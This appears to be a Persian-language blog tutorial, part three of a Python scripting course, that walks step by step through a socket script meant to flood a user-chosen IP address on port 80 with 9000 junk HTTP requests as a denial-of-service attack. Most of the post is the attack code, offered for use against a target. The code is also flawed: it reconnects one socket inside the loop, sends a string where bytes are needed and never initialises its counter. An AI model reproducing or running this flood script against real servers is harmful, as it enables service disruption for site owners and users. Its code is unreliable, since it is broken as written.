M0_1S
M0_1S
خواندن ۲ دقیقه·۴ سال پیش

دوره ی آموزشی اسکریپت نویسی با پایتون : قسمت سوم

سلام با دوره ی آموزشی اسکریپت نویسی با پایتون در خدمت شما هستیم

امروز می خوایم اسکریپت حمله داس رو بنویسیم

شاید بعضی ها بپرسن حمله داس چیه و چیکار می کنه

حمله داس چیست ؟

حمله داس یعنی ما درخواست های زیادی و متعددی به یک وبسایت یا یک وب سرور می زنیم تا اون وب سرور یا وب سایت دیگه به هیچ کس سرویس نده

البته حمله داس دیگه خیلی قدیمی شده و کسی دیگه ازش استفاده نمی کنه چون بیشتر وب سرور ها یه سرویسی دارن که اگه یک آدرس آیپی بیش از حد درخواست بزنه اون رو بلاک می کنن

خیله خوب بریم سر آموزش


برای شروع ما باید کتابخونه socket رو import کنیم

from socket import *

بعد از اون یک متغیر به اسم s تعریف می کنیم که داخل خودش مجموعه ای از پورت های tcp رو داره

s = socket(AF_INET , SOCK_STREAM)

حالا یک متغیر به اسم ip تعریف می کنیم و به اون آدرس آیپی که می خوایم بهش حمله کنیم رو به صورت string بهش می دیم

ip = "192.168.1.1"

البته ما میتونیم این متغیر رو بصورت یک ورودی بیاریم

ip = input("Enter your ip addres => ")

حالا باید یک متغیر به اسم pack تعریف کنیم که درونش یک string با هر متنی که دوست دارید رو می نویسید

pack = "M0_1S"*100

بعد از این کار باید یک متغیر به اسم counter تعریف کنیم که شمارنده تعداد دفعات درخواست های ما به اون وب سرور یا وبسایتی که قصد حمله به اون رو داریم بنویسه

که چند بار تکرار شده رو به ما بگه

بعد از اون یک حلقه for به اسم i تعریف می کنیم که رنج 1 تا 9000 رو داره

for i in range(1 , 9000):

توی این حلقه که 9000 بار اجرا میشه ما باید به سرور وصل بشیم و درخواست رو ارسال کنیم

حالا با استفاده از متغیر s که تعریفش کردیم به اون وب سرور وصل می شیم

s.connect((ip , 80))

بعد از انجام دادن این کار باید متغیر pack خودمون رو بفرستیم

s.send("GET ? HTTP 1.1"+pack)

در نهایت متغیر counter رو برابر خودش بعلاوه 1 می کنیم

counter = counter + 1

بعد خارج از حلقه connection رو می بندیم

s.close()

لینک کانال آپارات ما : aparat.com/black Security

آدرس ویدئو این آموزش : https://www.aparat.com/v/78MkS

لطفا کانال ما در آپارات رو دنبال کنید

امیدوارم خوشتون اومده باشه خداحافظ

اسکریپت نویسی
شاید از این پست‌ها خوشتان بیاید